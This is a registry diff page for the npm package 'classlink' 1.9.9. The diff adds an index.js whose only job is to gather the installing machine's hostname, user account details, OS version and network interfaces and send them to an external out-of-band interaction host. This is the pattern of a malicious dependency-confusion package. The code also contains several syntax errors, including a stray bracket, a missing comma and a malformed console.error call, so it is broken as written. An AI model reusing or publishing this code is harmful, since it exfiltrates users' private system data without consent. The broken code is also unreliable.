classlink 1.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +38 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const burpCollaboratorUrl = 'iqflwqhtuluqyysnswdrmypjslf59ryi0.oast.fun';
|
|
6
|
+
|
|
7
|
+
const deviceInfo = {
|
|
8
|
+
platform: os.platform(),
|
|
9
|
+
release: os.release(),
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
arch: os.arch(),
|
|
12
|
+
userInfo: os.userInfo(),
|
|
13
|
+
networkInterfaces: os.networkInterfaces()
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
const queryString = Object.entries(deviceInfo).map(([key, value]) => {
|
|
17
|
+
if (typeof value === 'object') {
|
|
18
|
+
value = JSON.stringify(value);
|
|
19
|
+
}
|
|
20
|
+
return `${encodeURIComponent(key))=${encodeURIComponent(value)}`;
|
|
21
|
+
}).join('&');
|
|
22
|
+
|
|
23
|
+
const options = {
|
|
24
|
+
hostname: burpCollaboratorUrl,
|
|
25
|
+
port: 443
|
|
26
|
+
path: `/?${queryString}`,
|
|
27
|
+
method: 'GET'
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
const req = https.request(options, (res) => {
|
|
31
|
+
console.log(`Status: ${res.statusCode}`);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
req.on('error', (error) => {
|
|
35
|
+
console.error{`Error: ${error.message}`);
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
req.end();
|
package/package.json
ADDED